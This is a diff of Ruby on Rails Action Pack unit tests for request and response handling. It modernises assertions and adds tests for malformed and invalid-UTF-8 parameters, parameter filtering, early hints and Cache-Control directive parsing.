+      "CONTENT_TYPE" => "multipart/form-data; boundary=AaB03x",
+      "CONTENT_LENGTH" => "11", # higher than data length
+      "REQUEST_METHOD" => "POST",
+      :input => "0123456789"
     )
-    assert_equal "raw", request.raw_post
-    assert_equal "raw", request.env["rack.input"].read
+
+    err = assert_raises(ActionController::BadRequest) do
+      request.request_parameters
+    end
+
+    assert_equal "Invalid request parameters: bad content body", err.message
+  end
+end
+
+if Rack.release < "3"
+  class RequestRewind < BaseRequestTest
+    test "body should be rewound" do
+      data = "rewind"
+      env = {
+        :input => data,
+        "CONTENT_LENGTH" => data.length.to_s,
+        "CONTENT_TYPE" => "application/x-www-form-urlencoded; charset=utf-8"
+      }
+
+      # Read the request body by parsing params.
+      request = stub_request(env)
+      request.request_parameters
+
+      # Should have rewound the body.
+      assert_equal "rewind", request.body.read
+    end
+
+    test "raw_post rewinds rack.input if RAW_POST_DATA is nil" do
+      request = stub_request(
+        :input => "raw",
+        "CONTENT_LENGTH" => "3"
+      )
+      assert_equal "raw", request.raw_post
+      assert_equal "raw", request.env["rack.input"].read
+    end
   end
 end
 
@@ -641,37 +737,37 @@ class RequestProtocol < BaseRequestTest
   test "xml http request" do
     request = stub_request
 
-    assert !request.xml_http_request?
-    assert !request.xhr?
+    assert_not_predicate request, :xml_http_request?
+    assert_not_predicate request, :xhr?
 
     request = stub_request "HTTP_X_REQUESTED_WITH" => "DefinitelyNotAjax1.0"
-    assert !request.xml_http_request?
-    assert !request.xhr?
+    assert_not_predicate request, :xml_http_request?
+    assert_not_predicate request, :xhr?
 
     request = stub_request "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest"
-    assert request.xml_http_request?
-    assert request.xhr?
+    assert_predicate request, :xml_http_request?
+    assert_predicate request, :xhr?
   end
 
   test "reports ssl" do
-    assert !stub_request.ssl?
-    assert stub_request("HTTPS" => "on").ssl?
+    assert_not_predicate stub_request, :ssl?
+    assert_predicate stub_request("HTTPS" => "on"), :ssl?
   end
 
   test "reports ssl when proxied via lighttpd" do
-    assert stub_request("HTTP_X_FORWARDED_PROTO" => "https").ssl?
+    assert_predicate stub_request("HTTP_X_FORWARDED_PROTO" => "https"), :ssl?
   end
 
   test "scheme returns https when proxied" do
     request = stub_request "rack.url_scheme" => "http"
-    assert !request.ssl?
+    assert_not_predicate request, :ssl?
     assert_equal "http", request.scheme
 
     request = stub_request(
       "rack.url_scheme" => "http",
       "HTTP_X_FORWARDED_PROTO" => "https"
     )
-    assert request.ssl?
+    assert_predicate request, :ssl?
     assert_equal "https", request.scheme
   end
 end
@@ -679,7 +775,6 @@ class RequestProtocol < BaseRequestTest
 class RequestMethod < BaseRequestTest
   test "method returns environment's request method when it has not been
     overridden by middleware".squish do
-
     ActionDispatch::Request::HTTP_METHODS.each do |method|
       request = stub_request("REQUEST_METHOD" => method)
 
@@ -698,7 +793,7 @@ class RequestMethod < BaseRequestTest
 
     assert_equal "GET", request.request_method
     assert_equal "GET", request.env["REQUEST_METHOD"]
-    assert request.get?
+    assert_predicate request, :get?
   end
 
   test "invalid http method raises exception" do
@@ -746,7 +841,7 @@ class RequestMethod < BaseRequestTest
 
     assert_equal "POST", request.method
     assert_equal "PATCH",  request.request_method
-    assert request.patch?
+    assert_predicate request, :patch?
   end
 
   test "post masquerading as put" do
@@ -756,12 +851,11 @@ class RequestMethod < BaseRequestTest
     )
     assert_equal "POST", request.method
     assert_equal "PUT",  request.request_method
-    assert request.put?
+    assert_predicate request, :put?
   end
 
   test "post uneffected by local inflections" do
     existing_acronyms = ActiveSupport::Inflector.inflections.acronyms.dup
-    existing_acronym_regex = ActiveSupport::Inflector.inflections.acronym_regex.dup
     begin
       ActiveSupport::Inflector.inflections do |inflect|
         inflect.acronym "POS"
@@ -770,63 +864,65 @@ class RequestMethod < BaseRequestTest
       request = stub_request "REQUEST_METHOD" => "POST"
       assert_equal :post, ActionDispatch::Request::HTTP_METHOD_LOOKUP["POST"]
       assert_equal :post, request.method_symbol
-      assert request.post?
+      assert_predicate request, :post?
     ensure
       # Reset original acronym set
       ActiveSupport::Inflector.inflections do |inflect|
-        inflect.send(:instance_variable_set, "@acronyms", existing_acronyms)
-        inflect.send(:instance_variable_set, "@acronym_regex", existing_acronym_regex)
+        inflect.instance_variable_set :@acronyms, existing_acronyms
+        inflect.send(:define_acronym_regex_patterns)
       end
     end
   end
+
+  test "delegates to Object#method if an argument is passed" do
+    request = stub_request
+
+    assert_nothing_raised do
+      request.method(:POST)
+    end
+  end
 end
 
 class RequestFormat < BaseRequestTest
   test "xml format" do
-    request = stub_request
-    assert_called(request, :parameters, times: 2, returns: { format: :xml }) do
-      assert_equal Mime[:xml], request.format
-    end
+    request = stub_request "QUERY_STRING" => "format=xml"
+
+    assert_equal Mime[:xml], request.format
   end
 
   test "xhtml format" do
-    request = stub_request
-    assert_called(request, :parameters, times: 2, returns: { format: :xhtml }) do
-      assert_equal Mime[:html], request.format
-    end
+    request = stub_request "QUERY_STRING" => "format=xhtml"
+
+    assert_equal Mime[:html], request.format
   end
 
   test "txt format" do
-    request = stub_request
-    assert_called(request, :parameters, times: 2, returns: { format: :txt }) do
-      assert_equal Mime[:text], request.format
-    end
+    request = stub_request "QUERY_STRING" => "format=txt"
+
+    assert_equal Mime[:text], request.format
   end
 
   test "XMLHttpRequest" do
     request = stub_request(
       "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest",
-      "HTTP_ACCEPT" => [Mime[:js], Mime[:html], Mime[:xml], "text/xml", "*/*"].join(",")
+      "HTTP_ACCEPT" => [Mime[:js], Mime[:html], Mime[:xml], "text/xml", "*/*"].join(","),
+      "QUERY_STRING" => ""
     )
 
-    assert_called(request, :parameters, times: 1, returns: {}) do
-      assert request.xhr?
-      assert_equal Mime[:js], request.format
-    end
+    assert_predicate request, :xhr?
+    assert_equal Mime[:js], request.format
   end
 
   test "can override format with parameter negative" do
-    request = stub_request
-    assert_called(request, :parameters, times: 2, returns: { format: :txt }) do
-      assert !request.format.xml?
-    end
+    request = stub_request("QUERY_STRING" => "format=txt")
+
+    assert_not_predicate request.format, :xml?
   end
 
   test "can override format with parameter positive" do
-    request = stub_request
-    assert_called(request, :parameters, times: 2, returns: { format: :xml }) do
-      assert request.format.xml?
-    end
+    request = stub_request("QUERY_STRING" => "format=xml")
+
+    assert_predicate request.format, :xml?
   end
 
   test "formats text/html with accept header" do
@@ -851,40 +947,54 @@ class RequestFormat < BaseRequestTest
   end
 
   test "formats format:text with accept header" do
-    request = stub_request
-    assert_called(request, :parameters, times: 2, returns: { format: :txt }) do
-      assert_equal [Mime[:text]], request.formats
-    end
+    request = stub_request("QUERY_STRING" => "format=txt")
+
+    assert_equal [Mime[:text]], request.formats
   end
 
   test "formats format:unknown with accept header" do
-    request = stub_request
-    assert_called(request, :parameters, times: 2, returns: { format: :unknown }) do
-      assert_instance_of Mime::NullType, request.format
-    end
+    request = stub_request("QUERY_STRING" => "format=unknown")
+
+    assert_instance_of Mime::NullType, request.format
   end
 
   test "format is not nil with unknown format" do
-    request = stub_request
-    assert_called(request, :parameters, times: 2, returns: { format: :hello }) do
-      assert request.format.nil?
-      assert_not request.format.html?
-      assert_not request.format.xml?
-      assert_not request.format.json?
-    end
+    request = stub_request("QUERY_STRING" => "format=hello")
+
+    assert_nil request.format
+    assert_not_predicate request.format, :html?
+    assert_not_predicate request.format, :xml?
+    assert_not_predicate request.format, :json?
   end
 
-  test "format does not throw exceptions when malformed parameters" do
+  test "format does not throw exceptions when malformed GET parameters" do
     request = stub_request("QUERY_STRING" => "x[y]=1&x[y][][w]=2")
     assert request.formats
-    assert request.format.html?
+    assert_predicate request.format, :html?
+  end
+
+  test "format does not throw exceptions when invalid POST parameters" do
+    body = "{record:{content:127.0.0.1}}"
+
+    request = stub_request(
+      "REQUEST_METHOD" => "POST",
+      "CONTENT_LENGTH" => body.length.to_s,
+      "CONTENT_TYPE" => "application/json",
+      :input => body,
+      "action_dispatch.logger" => Logger.new(output = StringIO.new)
+    )
+    assert request.formats
+    assert_predicate request.format, :html?
+
+    output.rewind && (err = output.read)
+    assert_match(/Error occurred while parsing request parameters/, err)
   end
 
   test "formats with xhr request" do
-    request = stub_request "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest"
-    assert_called(request, :parameters, times: 1, returns: {}) do
-      assert_equal [Mime[:js]], request.formats
-    end
+    request = stub_request "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest",
+                           "QUERY_STRING" => ""
+
+    assert_equal [Mime[:js]], request.formats
   end
 
   test "ignore_accept_header" do
@@ -892,80 +1002,100 @@ class RequestFormat < BaseRequestTest
     ActionDispatch::Request.ignore_accept_header = true
 
     begin
-      request = stub_request "HTTP_ACCEPT" => "application/xml"
-      assert_called(request, :parameters, times: 1, returns: {}) do
-        assert_equal [ Mime[:html] ], request.formats
-      end
+      request = stub_request "HTTP_ACCEPT" => "application/xml",
+                             "QUERY_STRING" => ""
 
-      request = stub_request "HTTP_ACCEPT" => "koz-asked/something-crazy"
-      assert_called(request, :parameters, times: 1, returns: {}) do
-        assert_equal [ Mime[:html] ], request.formats
-      end
+      assert_equal [ Mime[:html] ], request.formats
 
-      request = stub_request "HTTP_ACCEPT" => "*/*;q=0.1"
-      assert_called(request, :parameters, times: 1, returns: {}) do
-        assert_equal [ Mime[:html] ], request.formats
-      end
+      request = stub_request "HTTP_ACCEPT" => "koz-asked/something-wild",
+                             "QUERY_STRING" => ""
 
-      request = stub_request "HTTP_ACCEPT" => "application/jxw"
-      assert_called(request, :parameters, times: 1, returns: {}) do
-        assert_equal [ Mime[:html] ], request.formats
-      end
+      assert_equal [ Mime[:html] ], request.formats
+
+      request = stub_request "HTTP_ACCEPT" => "*/*;q=0.1",
+                             "QUERY_STRING" => ""
+
+      assert_equal [ Mime[:html] ], request.formats
+
+      request = stub_request "HTTP_ACCEPT" => "application/jxw",
+                             "QUERY_STRING" => ""
+
+      assert_equal [ Mime[:html] ], request.formats
 
       request = stub_request "HTTP_ACCEPT" => "application/xml",
-                             "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest"
+                             "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest",
+                             "QUERY_STRING" => ""
 
-      assert_called(request, :parameters, times: 1, returns: {}) do
-        assert_equal [ Mime[:js] ], request.formats
-      end
+      assert_equal [ Mime[:js] ], request.formats
 
       request = stub_request "HTTP_ACCEPT" => "application/xml",
-                             "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest"
-      assert_called(request, :parameters, times: 2, returns: { format: :json }) do
-        assert_equal [ Mime[:json] ], request.formats
-      end
+                             "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest",
+                             "QUERY_STRING" => "format=json"
+
+      assert_equal [ Mime[:json] ], request.formats
     ensure
       ActionDispatch::Request.ignore_accept_header = old_ignore_accept_header
     end
   end
 
   test "format taken from the path extension" do
-    request = stub_request "PATH_INFO" => "/foo.xml"
-    assert_called(request, :parameters, times: 1, returns: {}) do
-      assert_equal [Mime[:xml]], request.formats
-    end
+    request = stub_request "PATH_INFO" => "/foo.xml", "QUERY_STRING" => ""
 
-    request = stub_request "PATH_INFO" => "/foo.123"
-    assert_called(request, :parameters, times: 1, returns: {}) do
-      assert_equal [Mime[:html]], request.formats
-    end
+    assert_equal [Mime[:xml]], request.formats
+
+    request = stub_request "PATH_INFO" => "/foo.123", "QUERY_STRING" => ""
+
+    assert_equal [Mime[:html]], request.formats
   end
 
   test "formats from accept headers have higher precedence than path extension" do
     request = stub_request "HTTP_ACCEPT" => "application/json",
-                           "PATH_INFO" => "/foo.xml"
+                           "PATH_INFO" => "/foo.xml",
+                           "QUERY_STRING" => ""
 
-    assert_called(request, :parameters, times: 1, returns: {}) do
-      assert_equal [Mime[:json]], request.formats
-    end
+    assert_equal [Mime[:json]], request.formats
   end
 end
 
 class RequestMimeType < BaseRequestTest
   test "content type" do
-    assert_equal Mime[:html], stub_request("CONTENT_TYPE" => "text/html").content_mime_type
+    request = stub_request("CONTENT_TYPE" => "text/html")
+
+    assert_equal(Mime[:html], request.content_mime_type)
+    assert_equal("text/html", request.media_type)
+    assert_nil(request.content_charset)
+    assert_equal({}, request.media_type_params)
+    assert_equal("text/html", request.content_type)
   end
 
   test "no content type" do
-    assert_nil stub_request.content_mime_type
+    request = stub_request
+
+    assert_nil(request.content_mime_type)
+    assert_nil(request.media_type)
+    assert_nil(request.content_charset)
+    assert_equal({}, request.media_type_params)
+    assert_nil(request.content_type)
   end
 
   test "content type is XML" do
-    assert_equal Mime[:xml], stub_request("CONTENT_TYPE" => "application/xml").content_mime_type
+    request = stub_request("CONTENT_TYPE" => "application/xml")
+
+    assert_equal(Mime[:xml], request.content_mime_type)
+    assert_equal("application/xml", request.media_type)
+    assert_nil(request.content_charset)
+    assert_equal({}, request.media_type_params)
+    assert_equal("application/xml", request.content_type)
   end
 
   test "content type with charset" do
-    assert_equal Mime[:xml], stub_request("CONTENT_TYPE" => "application/xml; charset=UTF-8").content_mime_type
+    request = stub_request("CONTENT_TYPE" => "application/xml; charset=UTF-8")
+
+    assert_equal(Mime[:xml], request.content_mime_type)
+    assert_equal("application/xml", request.media_type)
+    assert_equal("UTF-8", request.content_charset)
+    assert_equal({ "charset" => "UTF-8" }, request.media_type_params)
+    assert_equal("application/xml; charset=UTF-8", request.content_type)
   end
 
   test "user agent" do
@@ -995,15 +1125,14 @@ class RequestMimeType < BaseRequestTest
 
 class RequestParameters < BaseRequestTest
   test "parameters" do
-    request = stub_request
+    request = stub_request "CONTENT_TYPE" => "application/json",
+                           "CONTENT_LENGTH" => "9",
+                           "RAW_POST_DATA" => '{"foo":1}',
+                           "QUERY_STRING" => "bar=2"
 
-    assert_called(request, :request_parameters, times: 2, returns: { "foo" => 1 }) do
-      assert_called(request, :query_parameters, times: 2, returns: { "bar" => 2 }) do
-        assert_equal({ "foo" => 1, "bar" => 2 }, request.parameters)
-        assert_equal({ "foo" => 1 }, request.request_parameters)
-        assert_equal({ "bar" => 2 }, request.query_parameters)
-      end
-    end
+    assert_equal({ "foo" => 1, "bar" => "2" }, request.parameters)
+    assert_equal({ "foo" => 1 }, request.request_parameters)
+    assert_equal({ "bar" => "2" }, request.query_parameters)
   end
 
   test "parameters not accessible after rack parse error" do
@@ -1024,12 +1153,18 @@ class RequestParameters < BaseRequestTest
       request.path_parameters = { foo: "\xBE" }
     end
 
-    assert_equal "Invalid path parameters: Non UTF-8 value: \xBE", err.message
+    assert_predicate err.message, :valid_encoding?
+    assert_equal "Invalid path parameters: Invalid encoding for parameter: �", err.message
   end
 
-  test "parameters not accessible after rack parse error of invalid UTF8 character" do
-    request = stub_request("QUERY_STRING" => "foo%81E=1")
-    assert_raises(ActionController::BadRequest) { request.parameters }
+  test "path parameters don't re-encode frozen strings" do
+    request = stub_request
+
+    ActionDispatch::Request::Utils::CustomParamEncoder.stub(:action_encoding_template, Hash.new { Encoding::BINARY }) do
+      request.path_parameters = { foo: "frozen", bar: +"mutable", controller: "test_controller" }
+      assert_equal Encoding::BINARY, request.params[:bar].encoding
+      assert_equal Encoding::UTF_8, request.params[:foo].encoding
+    end
   end
 
   test "parameters containing an invalid UTF8 character" do
@@ -1037,17 +1172,63 @@ class RequestParameters < BaseRequestTest
     assert_raises(ActionController::BadRequest) { request.parameters }
   end
 
+  test "parameters key containing an invalid UTF8 character" do
+    request = stub_request("QUERY_STRING" => "%81E=bar")
+    assert_raises(ActionController::BadRequest) { request.parameters }
+  end
+
   test "parameters containing a deeply nested invalid UTF8 character" do
     request = stub_request("QUERY_STRING" => "foo[bar]=%81E")
     assert_raises(ActionController::BadRequest) { request.parameters }
   end
 
+  test "POST parameters containing invalid UTF8 character" do
+    data = "foo=%81E"
+    request = stub_request(
+      "REQUEST_METHOD" => "POST",
+      "CONTENT_LENGTH" => data.length.to_s,
+      "CONTENT_TYPE" => "application/x-www-form-urlencoded; charset=utf-8",
+      :input => data
+    )
+
+    err = assert_raises(ActionController::BadRequest) { request.parameters }
+
+    assert_predicate err.message, :valid_encoding?
+    assert_equal "Invalid request parameters: Invalid encoding for parameter: �E", err.message
+  end
+
+  test "query parameters specified as ASCII_8BIT encoded do not raise InvalidParameterError" do
+    request = stub_request("QUERY_STRING" => "foo=%81E")
+
+    ActionDispatch::Request::Utils::CustomParamEncoder.stub(:action_encoding_template, { "foo" => Encoding::ASCII_8BIT }) do
+      assert_nothing_raised do
+        request.parameters
+      end
+    end
+  end
+
+  test "POST parameters specified as ASCII_8BIT encoded do not raise InvalidParameterError" do
+    data = "foo=%81E"
+    request = stub_request(
+      "REQUEST_METHOD" => "POST",
+      "CONTENT_LENGTH" => data.length.to_s,
+      "CONTENT_TYPE" => "application/x-www-form-urlencoded; charset=utf-8",
+      :input => data
+    )
+
+    ActionDispatch::Request::Utils::CustomParamEncoder.stub(:action_encoding_template, { "foo" => Encoding::ASCII_8BIT }) do
+      assert_nothing_raised do
+        request.parameters
+      end
+    end
+  end
+
   test "parameters not accessible after rack parse error 1" do
     request = stub_request(
       "REQUEST_METHOD" => "POST",
-      "CONTENT_LENGTH" => "a%=".length,
+      "CONTENT_LENGTH" => "a%=".length.to_s,
       "CONTENT_TYPE" => "application/x-www-form-urlencoded; charset=utf-8",
-      "rack.input" => StringIO.new("a%=")
+      :input => "a%="
     )
 
     assert_raises(ActionController::BadRequest) do
@@ -1067,37 +1248,16 @@ class RequestParameters < BaseRequestTest
     assert_not_nil e.cause
     assert_equal e.cause.backtrace, e.backtrace
   end
-end
 
-class RequestParameterFilter < BaseRequestTest
-  test "process parameter filter" do
-    test_hashes = [
-    [{ "foo" => "bar" }, { "foo" => "bar" }, %w'food'],
-    [{ "foo" => "bar" }, { "foo" => "[FILTERED]" }, %w'foo'],
-    [{ "foo" => "bar", "bar" => "foo" }, { "foo" => "[FILTERED]", "bar" => "foo" }, %w'foo baz'],
-    [{ "foo" => "bar", "baz" => "foo" }, { "foo" => "[FILTERED]", "baz" => "[FILTERED]" }, %w'foo baz'],
-    [{ "bar" => { "foo" => "bar", "bar" => "foo" } }, { "bar" => { "foo" => "[FILTERED]", "bar" => "foo" } }, %w'fo'],
-    [{ "foo" => { "foo" => "bar", "bar" => "foo" } }, { "foo" => "[FILTERED]" }, %w'f banana'],
-    [{ "deep" => { "cc" => { "code" => "bar", "bar" => "foo" }, "ss" => { "code" => "bar" } } }, { "deep" => { "cc" => { "code" => "[FILTERED]", "bar" => "foo" }, "ss" => { "code" => "bar" } } }, %w'deep.cc.code'],
-    [{ "baz" => [{ "foo" => "baz" }, "1"] }, { "baz" => [{ "foo" => "[FILTERED]" }, "1"] }, [/foo/]]]
-
-    test_hashes.each do |before_filter, after_filter, filter_words|
-      parameter_filter = ActionDispatch::Http::ParameterFilter.new(filter_words)
-      assert_equal after_filter, parameter_filter.filter(before_filter)
-
-      filter_words << "blah"
-      filter_words << lambda { |key, value|
-        value.reverse! if key =~ /bargain/
-      }
-
-      parameter_filter = ActionDispatch::Http::ParameterFilter.new(filter_words)
-      before_filter["barg"] = { :bargain => "gain", "blah" => "bar", "bar" => { "bargain" => { "blah" => "foo" } } }
-      after_filter["barg"]  = { :bargain => "niag", "blah" => "[FILTERED]", "bar" => { "bargain" => { "blah" => "[FILTERED]" } } }
+  test "raw_post does not raise when rack.input is nil" do
+    request = stub_request
 
-      assert_equal after_filter, parameter_filter.filter(before_filter)
-    end
+    # "" on Rack < 3.1, nil on Rack 3.1+
+    assert_predicate request.raw_post, :blank?
   end
+end
 
+class RequestParameterFilter < BaseRequestTest
   test "filtered_parameters returns params filtered" do
     request = stub_request(
       "action_dispatch.request.parameters" => {
@@ -1175,6 +1335,18 @@ class RequestParameterFilter < BaseRequestTest
     path = request.filtered_path
     assert_equal request.script_name + "/authenticate?secret", path
   end
+
+  test "parameter_filter returns the same instance of ActiveSupport::ParameterFilter" do
+    request = stub_request(
+      "action_dispatch.parameter_filter" => [:secret]
+    )
+
+    filter = request.parameter_filter
+
+    assert_kind_of ActiveSupport::ParameterFilter, filter
+    assert_equal({ "secret" => "[FILTERED]", "something" => "bar" }, filter.filter("secret" => "foo", "something" => "bar"))
+    assert_same filter, request.parameter_filter
+  end
 end
 
 class RequestEtag < BaseRequestTest
@@ -1218,7 +1390,7 @@ class RequestEtag < BaseRequestTest
     assert_equal header, request.if_none_match
     assert_equal expected, request.if_none_match_etags
     expected.each do |etag|
-      assert request.etag_matches?(etag), etag
+      assert request.etag_matches?(etag), "Etag #{etag} did not match HTTP_IF_NONE_MATCH values"
     end
   end
 end
@@ -1232,8 +1404,8 @@ def setup
   test "setting variant to a symbol" do
     @request.variant = :phone
 
-    assert @request.variant.phone?
-    assert_not @request.variant.tablet?
+    assert_predicate @request.variant, :phone?
+    assert_not_predicate @request.variant, :tablet?
     assert @request.variant.any?(:phone, :tablet)
     assert_not @request.variant.any?(:tablet, :desktop)
   end
@@ -1241,9 +1413,9 @@ def setup
   test "setting variant to an array of symbols" do
     @request.variant = [:phone, :tablet]
 
-    assert @request.variant.phone?
-    assert @request.variant.tablet?
-    assert_not @request.variant.desktop?
+    assert_predicate @request.variant, :phone?
+    assert_predicate @request.variant, :tablet?
+    assert_not_predicate @request.variant, :desktop?
     assert @request.variant.any?(:tablet, :desktop)
     assert_not @request.variant.any?(:desktop, :watch)
   end
@@ -1251,8 +1423,8 @@ def setup
   test "clearing variant" do
     @request.variant = nil
 
-    assert @request.variant.empty?
-    assert_not @request.variant.phone?
+    assert_empty @request.variant
+    assert_not_predicate @request.variant, :phone?
     assert_not @request.variant.any?(:phone, :tablet)
   end
 
@@ -1271,20 +1443,164 @@ def setup
 
 class RequestFormData < BaseRequestTest
   test "media_type is from the FORM_DATA_MEDIA_TYPES array" do
-    assert stub_request("CONTENT_TYPE" => "application/x-www-form-urlencoded").form_data?
-    assert stub_request("CONTENT_TYPE" => "multipart/form-data").form_data?
+    assert_predicate stub_request("CONTENT_TYPE" => "application/x-www-form-urlencoded"), :form_data?
+    assert_predicate stub_request("CONTENT_TYPE" => "multipart/form-data"), :form_data?
   end
 
   test "media_type is not from the FORM_DATA_MEDIA_TYPES array" do
-    assert !stub_request("CONTENT_TYPE" => "application/xml").form_data?
-    assert !stub_request("CONTENT_TYPE" => "multipart/related").form_data?
+    assert_not_predicate stub_request("CONTENT_TYPE" => "application/xml"), :form_data?
+    assert_not_predicate stub_request("CONTENT_TYPE" => "multipart/related"), :form_data?
   end
 
   test "no Content-Type header is provided and the request_method is POST" do
     request = stub_request("REQUEST_METHOD" => "POST")
 
-    assert_equal "", request.media_type
+    assert_nil request.media_type
     assert_equal "POST", request.request_method
-    assert !request.form_data?
+    assert_not_predicate request, :form_data?
+  end
+end
+
+class EarlyHintsRequestTest < BaseRequestTest
+  def setup
+    super
+    @request = stub_request({ "rack.early_hints" => lambda { |links| links } })
+  end
+
+  test "when early hints is set in the env link headers are sent" do
+    early_hints = @request.send_early_hints("link" => "</style.css>; rel=preload; as=style,</script.js>; rel=preload")
+    expected_hints = { "link" => "</style.css>; rel=preload; as=style,</script.js>; rel=preload" }
+
+    assert_equal expected_hints, early_hints
+  end
+end
+
+class RequestInspectTest < BaseRequestTest
+  test "inspect" do
+    request = stub_request(
+      "REQUEST_METHOD" => "POST",
+      "REMOTE_ADDR" => "1.2.3.4",
+      "HTTP_X_FORWARDED_PROTO" => "https",
+      "HTTP_X_FORWARDED_HOST" => "example.com:443",
+      "PATH_INFO" => "/path/",
+      "QUERY_STRING" => "q=1"
+    )
+    assert_match %r(#<ActionDispatch::Request POST "https://example.com/path/\?q=1" for 1.2.3.4>), request.inspect
+  end
+end
+
+class RequestSession < BaseRequestTest
+  def setup
+    super
+    @request = stub_request
+  end
+
+  test "#session" do
+    @request.session
+
+    assert_not_predicate(ActionDispatch::Request::Session.find(@request), :enabled?)
+    assert_instance_of(ActionDispatch::Request::Session::Options, ActionDispatch::Request::Session::Options.find(@request))
+  end
+end
+
+class RequestCacheControlDirectives < BaseRequestTest
+  test "lazily initializes cache_control_directives" do
+    request = stub_request
+    assert_not_includes request.instance_variables, :@cache_control_directives
+
+    request.cache_control_directives
+    assert_includes request.instance_variables, :@cache_control_directives
+  end
+
+  test "only_if_cached? is true when only-if-cached is the sole directive" do
+    request = stub_request("HTTP_CACHE_CONTROL" => "only-if-cached")
+    assert_predicate request.cache_control_directives, :only_if_cached?
+  end
+
+  test "only_if_cached? is true when only-if-cached appears among multiple directives" do
+    request = stub_request("HTTP_CACHE_CONTROL" => "max-age=60, only-if-cached")
+    assert_predicate request.cache_control_directives, :only_if_cached?
+  end
+
+  test "only_if_cached? is false when Cache-Control header is missing" do
+    request = stub_request
+    assert_not_predicate request.cache_control_directives, :only_if_cached?
+  end
+
+  test "no_cache? properly detects the no-cache directive" do
+    request = stub_request("HTTP_CACHE_CONTROL" => "no-cache")
+    assert_predicate request.cache_control_directives, :no_cache?
+  end
+
+  test "no_store? properly detects the no-store directive" do
+    request = stub_request("HTTP_CACHE_CONTROL" => "no-store")
+    assert_predicate request.cache_control_directives, :no_store?
+  end
+
+  test "no_transform? properly detects the no-transform directive" do
+    request = stub_request("HTTP_CACHE_CONTROL" => "no-transform")
+    assert_predicate request.cache_control_directives, :no_transform?
+  end
+
+  test "max_age properly returns the max-age directive value" do
+    request = stub_request("HTTP_CACHE_CONTROL" => "max-age=60")
+    assert_equal 60, request.cache_control_directives.max_age
+  end
+
+  test "max_stale properly returns the max-stale directive value" do
+    request = stub_request("HTTP_CACHE_CONTROL" => "max-stale=300")
+    assert_equal 300, request.cache_control_directives.max_stale
+  end
+
+  test "max_stale returns true when max-stale is present without a value" do
+    request = stub_request("HTTP_CACHE_CONTROL" => "max-stale")
+    assert_equal true, request.cache_control_directives.max_stale
+  end
+
+  test "max_stale? returns true when max-stale is present with or without a value" do
+    request = stub_request("HTTP_CACHE_CONTROL" => "max-stale=300")
+    assert_predicate request.cache_control_directives, :max_stale?
+
+    request = stub_request("HTTP_CACHE_CONTROL" => "max-stale")
+    assert_predicate request.cache_control_directives, :max_stale?
+  end
+
+  test "max_stale? returns false when max-stale is not present" do
+    request = stub_request
+    assert_not_predicate request.cache_control_directives, :max_stale?
+  end
+
+  test "max_stale_unlimited? returns true only when max-stale is present without a value" do
+    request = stub_request("HTTP_CACHE_CONTROL" => "max-stale")
+    assert_predicate request.cache_control_directives, :max_stale_unlimited?
+
+    request = stub_request("HTTP_CACHE_CONTROL" => "max-stale=300")
+    assert_not_predicate request.cache_control_directives, :max_stale_unlimited?
+
+    request = stub_request
+    assert_not_predicate request.cache_control_directives, :max_stale_unlimited?
+  end
+
+  test "min_fresh properly returns the min-fresh directive value" do
+    request = stub_request("HTTP_CACHE_CONTROL" => "min-fresh=120")
+    assert_equal 120, request.cache_control_directives.min_fresh
+  end
+
+  test "stale_if_error properly returns the stale-if-error directive value" do
+    request = stub_request("HTTP_CACHE_CONTROL" => "stale-if-error=600")
+    assert_equal 600, request.cache_control_directives.stale_if_error
+  end
+
+  test "handles Cache-Control header with whitespace and case insensitivity" do
+    request = stub_request("HTTP_CACHE_CONTROL" => " Max-Age=60 , No-Cache ")
+    assert_equal 60, request.cache_control_directives.max_age
+    assert_predicate request.cache_control_directives, :no_cache?
+  end
+
+  test "ignores unrecognized directives" do
+    request = stub_request("HTTP_CACHE_CONTROL" => "max-age=60, unknown-directive, foo=bar")
+    assert_equal 60, request.cache_control_directives.max_age
+    assert_not_predicate request.cache_control_directives, :no_cache?
+    assert_not_predicate request.cache_control_directives, :no_store?
   end
 end
diff --git a/actionpack/test/dispatch/response_test.rb b/actionpack/test/dispatch/response_test.rb
index 7433c5ce0cb6f..5dd3338cb9b30 100644
--- a/actionpack/test/dispatch/response_test.rb
+++ b/actionpack/test/dispatch/response_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "timeout"
 require "rack/content_length"
@@ -13,13 +15,13 @@ def test_can_wait_until_commit
       @response.await_commit
     }
     @response.commit!
-    assert @response.committed?
+    assert_predicate @response, :committed?
     assert t.join(0.5)
   end
 
   def test_stream_close
     @response.stream.close
-    assert @response.stream.closed?
+    assert_predicate @response.stream, :closed?
   end
 
   def test_stream_write
@@ -40,7 +42,12 @@ def test_write_after_close
   def test_each_isnt_called_if_str_body_is_written
     # Controller writes and reads response body
     each_counter = 0
-    @response.body = Object.new.tap { |o| o.singleton_class.send(:define_method, :each) { |&block| each_counter += 1; block.call "foo" } }
+
+    @response.body = Object.new.tap do |object|
+      object.singleton_class.define_method(:each) { |&block| each_counter += 1; block.call "foo" }
+      object.singleton_class.define_method(:to_ary) { enum_for(:each).to_a }
+    end
+
     @response["X-Foo"] = @response.body
 
     assert_equal 1, each_counter, "#each was not called once"
@@ -82,8 +89,8 @@ def test_read_body_during_action
     # the response can be built.
     status, headers, body = @response.to_a
     assert_equal 200, status
-    assert_equal({
-      "Content-Type" => "text/html; charset=utf-8"
+    assert_headers({
+      "content-type" => "text/html; charset=utf-8"
     }, headers)
 
     parts = []
@@ -120,9 +127,8 @@ def test_empty_content_type_returns_nil
 
     status, headers, body = @response.to_a
     assert_equal 200, status
-    assert_equal({
-      "Content-Type" => "text/html; charset=utf-8"
-    }, headers)
+
+    assert_headers({ "content-type" => "text/html; charset=utf-8" }, headers)
 
     parts = []
     body.each { |part| parts << part }
@@ -145,23 +151,23 @@ def test_only_set_charset_still_defaults_to_text_html
 
     status, headers, _ = @response.to_a
     assert_equal 200, status
-    assert_equal({
-      "Content-Type" => "text/html; charset=utf-8"
+    assert_headers({
+      "content-type" => "text/html; charset=utf-8"
     }, headers)
   end
 
   test "content length" do
-    [100, 101, 102, 204].each do |c|
+    [100, 101, 102, 103, 204].each do |c|
       @response = ActionDispatch::Response.new
       @response.status = c.to_s
